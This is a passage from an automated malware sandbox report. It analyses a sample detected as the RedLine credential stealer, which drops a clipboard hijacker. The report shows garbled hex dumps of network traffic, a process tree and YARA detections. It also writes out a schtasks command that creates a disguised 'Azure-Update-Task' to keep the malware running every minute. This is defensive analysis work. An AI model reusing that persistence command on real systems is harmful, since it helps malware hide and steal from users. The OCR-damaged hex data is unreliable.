bb 3f 7e 28 5b 1f a9 98 f8 eb eb 17 66 86 74 c0 10 67 90 Oe 50 a3 5f 89 b5 35 06 f6 8d b4 3c 81 88 95 c8 e4 fc 5a 8d 80
ab e0 fe 18 d0 14 d8 cb 9b 02 8 1f b1 47 ec 62 04
Data Ascii: KFJ.J[%:yCm\m4B&2; @9:JVR#\4E;0VTsx%aCYE#;n0.@J<Mmt) T{UPB%=Y U4#)9a!W%*kPfM=SIHOx>?&D?~
([ftgP_5<ZGh

2021-09-25 08:17:19 UTC 169 IN Data Raw: f9 88 db 2b cc a7 b0 cd 1a b2 10 09 c0 5a d3 3¢ b8 20 4d 9d 82 3c cf Of d1 ad 8a 74 d2 ee e2 8b ba 3d cd 16
b2 9d 4d f7 75 cc 08 a7 7c de ad d4 01 1a f3 0f e9 fc 4e 7d 6a 9d 3e d4 c5 60 9c 26 6¢ 69 12 32 a3 80 f9 59 73 60 d5 ch
4e d9 ed 17 98 92 d8 15 49 2e 21 d5 36 81 9f 70 bd 81 97 84 a6 4b d8 ce b7 70 2f 97 4d b2 2c bb 55 9a af a7 d2 25 ea 73
11 ea 5529 ec 14 42 d7 1c 67 5e 41 c6 cf 75 2d 53 d8 dO dd ea 8a 8¢ a2 d6 8c 70 42 d1 e2 65 7a 4b fc 43 32 8f 61 15 Oa
a6 bd 80 52 2b b1 06 cb 5d 0d b4 80 1d 13 ad 34 5e b0 71 45 10 ad 89 e6 dc 10 6b 3b b6 1f 93 3c 89 32 8e 62 47 84 cc
30 ad 64 6e Oa e7 87 a3 92 29 42 74 2d 70 51 23 f8 f6 2b ce ef 18 ed 56 47 1f a5 fd 2c 75 d2 Oc 82 30 bf c3 b2 b2 32 65
88 1c 38 f5 71 Oe 6¢ 7c 41 ca 20 28 3e 06 e8 22 7b a0 e0 ac
Data Ascii: +Z< M<t=Mu|N}j>"&li2Ys NI.!16pKp/M,U%sU)Bg"Au-SpBezKC2aR+]4*qEk;<2bG0dn)Bt-pQ#+VG,u02e8ql|A (>'{

2021-09-25 08:17:19 UTC 170 IN Data Raw: eb 50 f2 d6 43 ec 2b bb e6 f5 04 e4 d6 e0 3a d0 b6 2a 2e df dd 9e ad 14 86 bl 2b 72 83 7d a3 f4 f2 2e cb db 76
3507 833 03 6e 97 07 65 51 45 ba 4e b2 76 57 dd a0 ac ce 52 87 cd ba 0d de 90 0a 71 85 3b b1 f7 d2 Oc d3 be ea 6¢ 7a
a9 fd 84 €8 27 b9 Ob 04 00 51 03 07 83 d1 42 ba 3b 49 57 99 98 56 f0 67 c2 c7 f1 ch 9e 61 5b 7b 74 23 70 8¢ 79 ed c9 37
a5 8b c2 6¢ a4 6f c0 58 5¢ fb cc 38 76 83 94 33 42 5a f7 01 af b2 85 60 8a 6f 00 c9 cc Of eb a5 ff 1e 15 cc 06 d5 a2 f5 09
17 f7 ba 24 14 95 ab 49 3b f0 65 fc f4 ad 8 36 b8 b0 Of 24 c2 64 67 05 48 80 e7 4d d9 0d 28 5b ba bb 4c 9¢ 9b 18 eb bd
4e 37 bd 67 92 28 41 5c 67 ea 28 82 52 0a f8 ce 6f c3 ae 4d 17 4f e2 40 4a al e6 c2 21 be 12 79 78 35 19 dd f2 42 d8 f3
4e aa af 03 62 5¢ 04 51 04 7e 40 2d 76 cO 4b aa 92
Data Ascii: PC+:*.+r}.v5neQENVWR;12'QB; IWVga[{t#py 710X\8v3BZ 0$1;e6$dgHM([LN7g(A\g(RoMO@J!yx5BNb\Q~@-vK

2021-09-25 08:17:19 UTC 186 IN Data Raw: 46 Oe 45 Ob 53 e4 93 ec f2 8f c2 68 a4 e6 b4 24 00 fa fa 75 b4 aa 9e c2 b0 6f 64 f9 05 5¢ 57 71 81 06 16 57 a0
db 3d a7 fc 46 a6 c8 2b 27 b1 04 90 26 4a 22 db 1c 72 ae 85 6f ad a0 00 fc ec a3 06 c4 86 c8 f9 d0 dc 2d a4 26 d2 42 17
36 aa Oe a8 99 35 17 d7 6d ba 4c 80 8b b2 7e c7 ba 4b f1 b3 d3 82 95 40 84 88 ed ec 45 77 Oc 1d 40 Oe 34 3a 7c d4 d9
€6 5d Oe 22 27 fa 12 00 76 22 12 92 f8 74 df 12 07 37 0Of 8d Oe ca 80 dc ca 37 13 18 02 d7 c4 d8 ec 39 72 82 3b 99 bf e4
5c ac 59 7f 3f 84 e9 81 a9 f6 ef c9 5e d6 16 c4 d2 5e 39 c1 4f 3b ca c6 e7 6b 9e db 6a cf cf f0 47 f9 a7 4d d8 fd 79 15 70 52
dc 10 b6 c3 15 76 47 ed 8 66 33 40 d8 c4 12 37 1f e5 0d 7f 8¢ 5a 59 02 al 1f 94 26 3d 25 42 80 6d da al 2e 7b ce 3e ff
72 48 da 4b 34 27 99 9c¢ 79 60 c0 6d e2 39 23 23 f8
Data Ascii: FESh$uod\WqW=F+'&J"ro-&B65mL~K@Ew@4:|]"v"t779r;\Y 22*90;kiGMypRVGI3@7ZY &=%Bm.{>rHK4'y'm9
##
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kBytes
Timestamp transferred

2021-09-25 08:17:19 UTC 187

2021-09-25 08:17:19 UTC 203

2021-09-25 08:17:19 UTC 204

2021-09-25 08:17:19 UTC 220

2021-09-25 08:17:19 UTC 221

2021-09-25 08:17:19 UTC 237

2021-09-25 08:17:19 UTC 238

2021-09-25 08:17:19 UTC 254

2021-09-25 08:17:19 UTC 255

2021-09-25 08:17:19 UTC 271

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: da c4 91 b0 b7 90 7b 9f c¢6 71 a9 16 61 31 ec 12 53 01 63 €9 b7 fc 74 99 c9 ca 3b dd a0 38 84 5b c4 f0 44 3b
58 28 5b 8e da 1f a6 31 f3 6e 08 c2 54 84 4f 07 a9 8d 34 96 7d 5e a2 5d 77 3d 70 e9 58 el f0 Ob fb 3d c7 d4 37 ab 30 76
94 0c 72 a8 e6 a0 77 df c9 d1 6b 70 06 Ob c4 63 09 78 4c d9 02 b0 36 aa c9 b4 01 9b d4 31 ea 58 de 81 ba cb 92 20 db
18 3f 86 59 97 bf c6 78 7d cb 79 05 75 ce d1 2f e8 b3 9a 7b 88 d9 2c db d0 5a 6¢ e5 40 fa 34 17 96 98 1f d7 d9 b9 1f 70
ea cf 26 cc 3c 2c d8 78 4e 00 ad 2a 52 b0 c2 ch e2 49 69 79 50 30 0d 09 42 c7 f4 11 8d 9e a9 41 e9 38 ad 44 89 b6 8b 87
98 2952 a7 7f 31 a3 59 87 5a 33 80 19 97 aa 8a 1d ea ad d5 9a 61 fe 6a 97 55 1b 13 df 40 41 be 55 d6 8c 51 e6 65 93 35
0d c2 95 44 b7 9c a9 7b 5b cd 60 b5 8d ce 63 cf d5 82 c2 c3

Data Ascii: {galSct;8[D;X([1nTO4}"lw=pX=70vrwkpcxL61X ?Yx}yu/{,ZI@4p&< xN*RliyPOBABD)R1YZ3ajU@AUQe5D{[ ¢

Data Raw: 00 00 00 00 00 a0 e2 77 02 fa 02 00 00 00 00 00 00 00 00 00 00 c8 de 77 02 d8 03 00 00 00 00 00 00 00 00 00
0030 a3 77 02 a8 25 00 00 00 00 00 00 00 00 00 00 a0 e5 77 02 78 00 00 00 00 00 00 00 00 00 00 00 d8 c8 77 02 14 00
00 00 00 00 00 00 00 00 00 00 38 e6 77 02 34 01 00 00 00 00 00 00 00 00 00 00 18 e6 77 02 Oa 00 00 00 00 00 00 00 00
00 00 00 28 e6 77 02 0a 00 00 00 00 00 00 00 00 00 00 00 07 00 48 00 55 00 52 00 45 00 57 00 4f 00 48 00 1a 00 4c 00 4
9 00 42 00 45 00 56 00 4f 00 42 00 41 00 47 00 49 00 57 00 4f 00 52 00 4f 00 48 00 55 00 43 00 4f 00 44 00 41 00 56 00 4
f00 52 00 45 00 4a 00 41 00 07 00 4e 00 4f 00 54 00 45 00 46 00 4f 00 59 00 03 00 4d 00 55 00 4d 00 00 00 00 00 00 00
00 00 00 00 28 00 00 00 30 00 00 00 60 00 00 00 01 00 20 00 00 00

Data Ascii: wwOw%wxw8w4Aw(WHUREWOHLIBEVOBAGIWOROHUCODAVOREJANOTEFOYMUM(0®

Data Raw: 00 d8 9e a6 26 de 9d bc 26 00 00 00 00 00 00 00 00 00 00 00 00 35 21 4e 17 00 00 00 00 40 26 49 19 3a 1b 4f
178384 81 d7 7b 7f 7f da 90 a3 99 c7 98 8a 8f d4 96 92 9a df 93 99 al d5 96 9c 96 df 93 9d 94 d3 90 99 8d d3 a3 a5 91
d0 95 b0 91 d3 87 ad 8e cb 93 a7 8d d7 85 97 95 d3 88 99 84 d8 94 a0 9f d5 94 9a 91 d8 8a 9b 89 d7 97 9b 9b cc 91 9d 8f
d7 8e 97 8e ce 89 a0 97 d8 8¢ 97 8d d4 91 a2 90 d3 92 a2 99 d5 8f a9 8e d3 8d a6 90 c9 92 a4 9c d0 92 ac 9f d4 94 a5 99
e38bal 97 d7 92 92 9a cf 8d 91 91 d0 83 87 81 d6 79 7e 84 d2 ae bb c0 37 ad c7 c4 3b 9e cb c4 40 a4 d1 ca 3d 8b d5 c6
2c 91 da cd 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 a5 81 2a 9a 9a 81 26 86 83 7a d3 99 9a
9a d4 d0 d2 c3 d2 cd d4 cd cc cb d2 c9 ce ¢4 dO cd d2 c3 ce

Data Ascii: &&5!N@&I:O{y~7;@=,>*&z

Data Raw: 00 56 00 45 00 52 00 53 00 49 00 4f 00 4e 00 5f 00 49 00 4e 00 46 00 4f 00 00 00 00 00 bd 04 ef fe 00 00 01 00
00 00 11 00 00 00 00 00 00 00 1d 00 00 00 00 00 3f 00 00 00 20 00 00 00 04 00 04 00 01 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 92 00 00 00 01 00 46 00 69 00 6¢ 00 65 00 00 00 82 00 00 00 01 00 30 00 35 00 35 00 38 00 31 00 36 00
45 00 37 00 00 00 3a 00 Ob 00 01 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e
00 00 00 31 00 35 00 2e 00 33 00 2e 00 31 00 30 00 2e 00 31 00 33 00 00 00 00 00 2e 00 Ob 00 01 00 56 00 65 00 72 00
73 00 69 00 6f 00 6e 00 00 00 00 00 32 00 33 00 2e 00 38 00 2e 00 32 00 30 00 2e 00 31 00 37 00 00 00 00 00 44 00 00
00 01 00 56 00 61 00 72 00 46 00 69 00 6¢ 00 65 00 49 00 6 00 66 00

Data Ascii: VERSION_INFO? File055816E7:ProductVersion15.3.10.13.Version23.8.20.17DVarFileInf

Data Raw: 33 c5 33 e2 33 e7 33 15 34 7a 34 86 34 8f 34 d1 34 00 35 26 35 6f 35 9e 35 d6 35 0d 36 31 36 82 36 b1 36 08
37 0c 37 10 37 14 37 28 37 2d 37 3f 37 53 37 8b 37 97 37 c4 37 c9 37 ce 37 db 37 f4 37 Ob 38 21 38 27 38 34 38 b5 38 bc
38 d8 38 dd 38 ef 38 15 39 21 39 4e 39 53 39 58 39 7e 39 bb 39 66 3a 87 3a ab 3a b6 3a 79 3b 8a 3b a2 3b b3 3b 58 3¢
5d 3c 6f 3c 9b 3c a0 3c ¢9 3c 21 3d 5a 3d 6a 3d 95 3d b7 3d 05 3e 21 3e 33 3e 4b 3e 81 3e dd 3e 26 3f 2b 3f 69 3f 00 40
00 00 c8 00 00 00 5b 30 8c 30 91 30 96 30 ce 30 49 31 6¢ 31 7c 31 81 31 ¢7 31 e6 31 47 32 53 32 b5 32 e5 32 08 33 10
3326 33 3333383353336033653373337b 33933357 348d349c34a534db34ea34f534063517351e352
d 35 37 35 45 35 4a 35 51 35 5b 35 5f 35 69 35 78 35 7c 35 82 35

Data Ascii: 33334z44445&50555616667777(7-7?7S777777778!8'848888889!19N9SIX9~99f:::1y;;;; X<]<o<<<<!I=Z=
j===>1>3>K>>>&2+2i?@[00000I111[1111G2S22233&33383S3'3e3s3{33W4444444555-575E5)5Q5(5_5i5x5|55

Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii:

Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii:

Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii:

Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii:

Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii:
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kBytes
Timestamp transferred Direction Data

2021-09-25 08:17:19 UTC 272 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii:

Code Manipulations

Statistics

Behavior

)

Click to jump to process

System Behavior

Analysis Process: eYvT1lg5Dy.exe PID: 6504 Parent PID: 3512

General
Start time: 10:16:40
Start date: 25/09/2021
Path: C:\Users\user\Desktop\eYvT1lg5Dy.exe
Wow64 process (32bit): true
Commandline: ‘C:\Users\user\Desktop\eYvT1lg5Dy.exe’
Imagebase: 0x400000
File size: 404648 bytes
MDS5 hash: 355FBD5060B3BBAF8C5737B4279E9000
Has elevated privileges: true
Has administrator privileges: true
Programmed in: .Net C# or VB.NET
Yara matches: e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000001.00000002.435576900.00000000031A0000.00000004.00020000.sdmp, Author:
Joe Security
e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000001.00000002.436050083.00000000049AC000.00000004.00000001.sdmp, Author:
Joe Security
e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000001.00000003.349530777.0000000002E0D000.00000004.00000001.sdmp, Author:
Joe Security
e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000001.00000002.441094022.0000000005E04000.00000004.00000001.sdmp, Author:
Joe Security
e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000001.00000002.436773793.0000000004C50000.00000004.00020000.sdmp, Author:
Joe Security
Reputation: low
File Activities Show Windows behavior
File Created
File Deleted
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File Written

File Read

Registry Activities Show Windows behavior

Analysis Process: conhost.exe PID: 6572 Parent PID: 6504

General

Start time: 10:16:40

Start date: 25/09/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff61de10000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: filename.exe PID: 5416 Parent PID: 6504

General
Start time: 10:17:19
Start date: 25/09/2021
Path: C:\Users\user\AppData\Local\Temp\filename.exe
Wow64 process (32bit): true
Commandline: ‘C:\Users\user\AppData\Local\Temp\filename.exe'
Imagebase: 0x400000
File size: 293376 bytes
MD5 hash: D508B954A785BDB77FDEFFCD4C56F8ES
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Yara matches: e Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker,
Source:
0000000B.00000002.435951957.0000000000400000.00000040.00020000.sdmp, Author:
Joe Security
e Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker,
Source:
0000000B.00000002.436398329.0000000002C60000.00000040.00000001.sdmp, Author:
Joe Security
e Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker,
Source:
0000000B.00000003.432844510.0000000002C70000.00000004.00000001.sdmp, Author:
Joe Security
Reputation: low
File Activities Show Windows behavior
File Created
File Written
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Analysis Process: schtasks.exe PID: 5536 Parent PID: 5416

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

10:17:22

25/09/2021
C:\Windows\SysWOW64\schtasks.exe
true

IC [create /F /sc minute /mo 1 /tn 'Azure-Update-Task' /tr 'C:\Users\user\AppData\Roaming\
Microsoft\Network\sihost.exe'

0x380000

185856 bytes
15FF7D8324231381BAD48A052F85DF04
true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: conhost.exe PID: 5524 Parent PID: 5536

General

Start time: 10:17:22

Start date: 25/09/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff61de10000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Reputation: high
Analysis Process: sihost.exe PID: 5784 Parent PID: 936
General
Start time: 10:17:25
Start date: 25/09/2021
Path: C:\Users\user\AppData\Roaming\Microsoft\Network\sihost.exe
Wow64 process (32bit): true
Commandline: C:\Users\user\AppData\Roaming\Microsoft\Network\sihost.exe
Imagebase: 0x400000
File size: 293376 bytes
MDS5 hash: D508B954A785BDB77FDEFFCD4C56F8ES

Has elevated privileges:
Has administrator privileges:

Programmed in:
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Yara matches:

e Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker,
Source:
0000000E.00000003.448804837.0000000002C70000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker,
Source:
0000000E.00000002.609959614.0000000002C60000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker,
Source:
0000000E.00000002.609430439.0000000000400000.00000040.00020000.sdmp, Author:
Joe Security

Reputation: low

‘ Analysis Process: schtasks.exe PID: 6672 Parent PID: 5784

General

Start time: 10:17:30

Start date: 25/09/2021

Path: C:\Windows\SysWOW64\schtasks.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

/C [create /F /sc minute /mo 1 /tn 'Azure-Update-Task' /tr 'C:\Users\user\AppData\Roaming\
Microsoft\Network\sihost.exe'

0x380000

185856 bytes
15FF7D8324231381BAD48A052F85DF04
true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: conhost.exe PID: 6760 Parent PID: 6672

General

Start time: 10:17:31

Start date: 25/09/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1

Imagebase: 0x7ff61de10000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in:

Reputation:

Disassembly

Code Analysis
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C, C++ or other language
high
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